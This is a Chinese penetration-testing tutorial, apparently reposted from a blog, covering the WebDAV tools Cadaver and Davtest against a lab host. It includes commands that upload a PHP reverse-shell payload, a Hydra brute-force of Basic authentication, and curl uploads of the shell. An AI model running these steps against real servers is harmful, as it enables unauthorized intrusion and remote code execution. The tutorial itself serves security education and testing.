一、WebDAV简介与安全测试背景
WebDAV(Web-based Distributed Authoring and Versioning,基于Web的分布式创作和版本控制)是一种基于HTTP/1.1协议的扩展,允许用户通过Web进行远程文件管理,类似于网盘操作。WebDAV支持文件上传、下载、删除、目录创建等功能,广泛应用于文件共享、协同编辑等场景。
WebDAV通过扩展HTTP协议,增加了诸如PROPFIND、MKCOL、PUT、DELETE等方法,允许客户端对服务器上的资源进行读写操作。根据RFC 4918,WebDAV分为Class-1(基本读写操作)和Class-2(支持锁定功能)两种级别。实际应用中,WebDAV服务可能因配置不当而暴露敏感文件或允许未授权用户上传可执行脚本(如PHP、ASP等),从而导致远程代码执行(RCE)等高危漏洞。
在Kali Linux中,Cadaver和Davtest是两款专门针对WebDAV服务的工具:
- Cadaver:一个交互式的命令行WebDAV客户端,类似于FTP客户端,支持文件管理操作。
- Davtest:一个自动化测试工具,通过发送一系列WebDAV请求探测服务器支持的方法和权限,快速评估其安全性。
本文将从工具的使用场景、命令示例、底层机制以及二者的对比入手,深入剖析这两款工具。
二、Cadaver:交互式WebDAV客户端
1. Cadaver简介
Cadaver是一个功能强大的命令行WebDAV客户端,设计目标是提供类似FTP的交互式文件管理体验。它支持用户通过命令行对WebDAV服务器执行文件上传、下载、目录创建、删除等操作。Cadaver遵循RFC 4918定义的WebDAV协议,支持几乎所有的WebDAV方法,包括OPTIONS、PROPFIND、MKCOL、PUT、GET、DELETE、MOVE、COPY、LOCK和UNLOCK。
Cadaver的主要特点包括:
- 交互式Shell:用户可以通过类似FTP的命令(如
ls、cd、put、get等)直接操作远程WebDAV服务器。 - 脚本化支持:支持通过管道或脚本批量执行命令,适合自动化任务。
- 认证支持:支持Basic认证和Digest认证,适应不同服务器的认证要求。
2. Cadaver基本使用
以下是Cadaver的典型用法:
(1) 连接WebDAV服务器
cadaver http://admin:princess101@192.168.56.219/webdav/
- 格式:
cadaver http://username:password@host/webdav/ - 行为:Cadaver会发送
OPTIONS /请求,检查服务器是否支持WebDAV(通过Allow:和DAV:头)。成功后进入交互式Shell,显示提示符dav:/webdav/>。
(2) 常用命令
在交互式Shell中,Cadaver支持以下常用命令,对应WebDAV的HTTP方法:
| 命令 | 内部调用 | 功能 | 对应RFC |
|---|---|---|---|
ls / ls -l |
PROPFIND Depth 1 或 0 |
列出目录内容 | RFC 4918 §9.1 |
cd <dir> |
解析<href>并再次PROPFIND |
切换目录 | RFC 4918 §9.1 |
mkdir <dir> |
MKCOL /<dir> |
创建目录 | RFC 4918 §9.3 |
put <local_file> |
PUT /<remote_file> |
上传文件 | HTTP/1.1 |
get <remote_file> |
GET /<remote_file> |
下载文件 | HTTP/1.1 |
mv <old> <new> |
MOVE /<old> -> /<new> |
重命名/移动文件 | RFC 4918 §9.9 |
cp <old> <new> |
COPY /<old> -> /<new> |
复制文件 | RFC 4918 §9.8 |
rm <file> |
DELETE /<file> |
删除文件 | HTTP/1.1 |
lock <file> |
LOCK /<file> |
锁定资源 | RFC 4918 §9.10 |
unlock <file> |
UNLOCK /<file> |
解锁资源 | RFC 4918 §9.11 |
(3) 示例:文件上传
假设需要在WebDAV服务器上上传一个PHP反向Shell脚本:
cadaver http://admin:princess101@192.168.56.219/webdav/
dav:/webdav/> put /root/pentest/payloads/php-reverse-shell.php
Uploading /root/pentest/payloads/php-reverse-shell.php to `/webdav/rev.php`:
Progress: [============================>] 100.0% of 5432 bytes succeeded.
dav:/webdav/> exit
- 行为:Cadaver发送
PUT请求将本地文件上传到远程路径/webdav/rev.php。 - 结果:若返回
201 Created或204 No Content,表示上传成功。
(4) 脚本化操作
Cadaver支持通过脚本模式批量执行命令。例如,上传文件并退出:
echo -e "put report.pdf\nexit" | cadaver http://admin:princess101@192.168.56.219/webdav/
- 场景:适合自动化任务,如批量上传或下载文件。
3. Cadaver的工作原理
Cadaver的核心逻辑是基于WebDAV协议的HTTP请求:
- 初始化连接:发送
OPTIONS /请求,检查服务器支持的WebDAV方法(通过Allow:头)。 - 目录操作:使用
PROPFIND请求获取目录或文件元数据(如文件列表、权限等)。 - 文件操作:通过
PUT、GET、DELETE等方法实现文件上传、下载和删除。 - 资源管理:支持
MKCOL创建目录,MOVE和COPY实现资源移动和复制。 - 锁定机制:支持
LOCK和UNLOCK方法,用于文件并发控制。
Cadaver的优势在于其交互性,用户可以像操作本地文件系统一样管理远程WebDAV资源,适合需要手动调试或复杂操作的场景。
三、Davtest:自动化WebDAV漏洞探测工具
1. Davtest简介
Davtest是一个自动化工具,专门用于测试WebDAV服务器的支持方法和权限配置。它通过发送一系列WebDAV请求(如OPTIONS、PROPFIND、MKCOL、PUT、MOVE、COPY、DELETE等),快速判断服务器是否支持Class-1或Class-2 WebDAV,以及是否存在文件上传漏洞。Davtest的核心目标是:
- 探测支持的方法:通过
OPTIONS请求确认服务器声明支持的WebDAV方法。 - 测试权限:尝试目录创建、文件上传、删除等操作,评估读写权限。
- 识别可执行扩展名:尝试上传多种脚本文件(如
.php、.asp、.jsp等),检测服务器允许的可执行扩展名。
Davtest的输出是一个清晰的表格,展示每个操作的成功或失败状态,便于安全测试人员快速分析潜在漏洞。
2. Davtest基本使用
以下是Davtest的典型用法:
(1) 运行Davtest
davtest -url http://192.168.56.219/ -auth admin:princess101
- 参数说明:
-url:目标WebDAV服务器地址。-auth:Basic认证的用户名和密码(格式为username:password)。
- 行为:Davtest会依次发送WebDAV请求,测试服务器支持的方法和权限。
(2) 输出示例
假设运行后,Davtest输出以下结果:
OPEN SUCCEED
MKCOL SUCCEED
PUT txt SUCCEED
PUT php SUCCEED <-- 可能后续用来传 webshell
DELETE SUCCEED
- 解读:
OPEN:OPTIONS请求成功,服务器支持WebDAV。MKCOL:成功创建目录,表明有写权限。PUT txt:成功上传纯文本文件,确认写权限。PUT php:成功上传PHP文件,表明可能存在可执行脚本漏洞。DELETE:成功删除测试文件,确认删除权限。
(3) 探测可执行扩展名
Davtest会尝试上传多种扩展名的文件(如.php、.asp、.jsp、.shtml等),以识别服务器允许的可写和可执行扩展名:
- 成功:返回
201 Created或204 No Content,表示扩展名可写。 - 失败:返回
403 Forbidden(无权限)、405 Method Not Allowed(方法不支持)或500 Internal Server Error(服务器配置错误)。
3. Davtest的工作流程
Davtest的探测过程可以分为以下几个步骤:
(1) 建立会话
- 发送
OPTIONS /请求,检查Allow:头是否包含WebDAV方法(如PUT、PROPFIND、DELETE)。 - 若返回
405 Method Not Allowed,直接报错OPEN FAIL。 - 若需要认证,Davtest会使用
-auth提供的凭据,发送Basic或Digest认证头。
(2) 探测能力
Davtest将目标目录视为“实验场”,按以下步骤测试:
| 步骤 | 方法 | 目的 | 成功/失败含义 |
|---|---|---|---|
| 2.1 | PROPFIND Depth 1 |
列举目录内容 | 200 OK ⇒ 读权限 |
| 2.2 | MKCOL davtest_dir/ |
创建目录 | 201 Created ⇒ 写权限 |
| 2.3 | PUT davtest_dir/davtest_0.txt |
上传文本文件 | 201/204 ⇒ 写权限 |
| 2.4 | 循环PUT多种扩展名 |
上传探针文件(.php、.asp等) |
发现可写脚本扩展名 |
| 2.5 | MOVE / COPY |
重命名或复制文件 | 测试MOVE/COPY支持 |
| 2.6 | DELETE |
删除测试文件 | 200/204 ⇒ 删除权限 |
(3) 报告结果
- Davtest根据HTTP状态码(
200、201、204表示成功,403、405、500表示失败)生成表格。 - 使用颜色或符号区分可读、可写、可执行的扩展名。
- 若某一步失败,会显示具体状态码,方便人工分析。
4. Davtest的底层机制
Davtest的核心逻辑是模拟WebDAV客户端,通过以下WebDAV/HTTP方法测试服务器功能:
| 方法 | RFC编号/用途 | Davtest用途 |
|---|---|---|
OPTIONS |
HTTP/1.1 | 确认服务器支持的WebDAV方法 |
PROPFIND |
RFC 4918 §9.1 | 读取目录/文件属性 |
MKCOL |
RFC 4918 §9.3 | 创建目录 |
PUT |
HTTP/1.1 | 上传文件 |
MOVE |
RFC 4918 §9.9 | 重命名/移动资源 |
COPY |
RFC 4918 §9.8 | 复制资源 |
DELETE |
HTTP/1.1 | 删除文件 |
GET |
HTTP/1.1 | 下载探针文件,验证可读 |
Davtest的探测逻辑可以总结为:
“依次发送OPTIONS → PROPFIND → MKCOL → PUT → MOVE/COPY → DELETE → GET,根据状态码判断每一步的成功与否。”
四、Cadaver与Davtest的对比
虽然Cadaver和Davtest都基于WebDAV协议,但它们的定位和使用场景有显著区别:
| 特性 | Cadaver | Davtest |
|---|---|---|
| 定位 | 交互式WebDAV客户端,类似FTP | 自动化WebDAV漏洞探测工具 |
| 操作方式 | 交互式Shell或脚本模式 | 一次性运行,输出报告 |
| 功能 | 文件管理(上传、下载、删除、目录操作等) | 探测支持的方法和权限,识别可执行扩展名 |
| 输出 | 实时命令反馈 | 表格化报告,清晰展示成功/失败 |
| 清理 | 用户手动清理 | 自动删除测试文件 |
| 适用场景 | 需要手动操作或复杂文件管理 | 快速漏洞扫描和权限评估 |
| 认证支持 | Basic/Digest认证 | Basic/Digest认证 |
| 扩展性 | 支持脚本化批量操作 | 专注于探测,无交互功能 |
1. 使用场景差异
- Cadaver:适合需要精细化操作的场景,例如上传特定文件、调试WebDAV配置、或执行复杂文件管理任务。交互式Shell让用户可以灵活控制每一步操作。
- Davtest:适合快速评估WebDAV服务器的安全性,尤其是探测是否存在可上传可执行脚本的漏洞。其自动化流程和清晰的报告适合渗透测试初期。
2. 底层协议一致性
两者都遵循RFC 4918,支持相同的WebDAV方法(OPTIONS、PROPFIND、MKCOL、PUT、GET、DELETE、MOVE、COPY等)。区别在于:
- Cadaver将这些方法封装为用户友好的命令,注重交互性。
- Davtest将这些方法用于自动化测试,注重结果的结构化输出。
3. 实际应用示例
假设渗透测试人员发现一个WebDAV服务器(http://192.168.56.219/),已知认证凭据为admin:princess101:
(1) 使用Davtest快速探测
davtest -url http://192.168.56.219/ -auth admin:princess101
- 输出:显示支持的方法和可写扩展名(如
.php)。 - 下一步:若发现
.php可写,说明可能存在RCE漏洞,需进一步利用。
(2) 使用Cadaver上传Shell
cadaver http://admin:princess101@192.168.56.219/webdav/
dav:/webdav/> put /root/pentest/payloads/php-reverse-shell.php
dav:/webdav/> exit
- 行为:上传PHP反向Shell脚本,结合Davtest的结果验证是否可执行。
(3) 结合其他工具
- 暴力破解认证:使用Hydra爆破Basic认证:
hydra -l admin -P $DICTS/5000.txt 192.168.56.219 http-get / -I -f -V - 手动验证方法:使用curl检查支持的WebDAV方法:
curl -v -X OPTIONS -u admin:princess101 http://192.168.56.219/ - 上传文件(替代Cadaver):使用curl上传文件:
curl -u admin:princess101 -T /root/pentest/payloads/php-reverse-shell.php http://192.168.56.219/rev.php
五、WebDAV安全测试的注意事项
-
认证安全:
- WebDAV常使用Basic认证,密码以Base64编码传输,易被嗅探。测试时应优先尝试弱口令或默认凭据。
- 结合Hydra等工具进行暴力破解,获取合法凭据。
-
权限配置:
- 检查服务器是否限制了
PUT、DELETE等高危方法。 - 使用Davtest识别可写扩展名,尤其是
.php、.asp等可能导致RCE的脚本。
- 检查服务器是否限制了
-
清理痕迹:
- Davtest会自动清理测试文件,但Cadaver需要用户手动删除上传的文件。
- 渗透测试时应记录操作并及时清理,避免留下可被利用的后门。
六、总结
Cadaver和Davtest是Kali Linux中针对WebDAV服务的两款强大工具,分别满足交互式文件管理和自动化漏洞探测的需求:
- Cadaver以交互式Shell为核心,适合需要手动操作或复杂任务的场景,通过支持所有WebDAV方法(
OPTIONS、PROPFIND、MKCOL等)实现灵活的文件管理。 - Davtest专注于自动化探测,通过发送一系列WebDAV请求快速评估服务器支持的方法和权限,特别适合发现可执行脚本上传漏洞。
在实际渗透测试中,Davtest可用于快速扫描,识别潜在漏洞;Cadaver则适合进一步利用,执行精准的文件操作。二者结合其他工具(如Hydra、curl)可以形成完整的WebDAV测试流程,从认证破解到漏洞利用一气呵成。
原文 https://blog.csdn.net/2301_79518550/article/details/146002001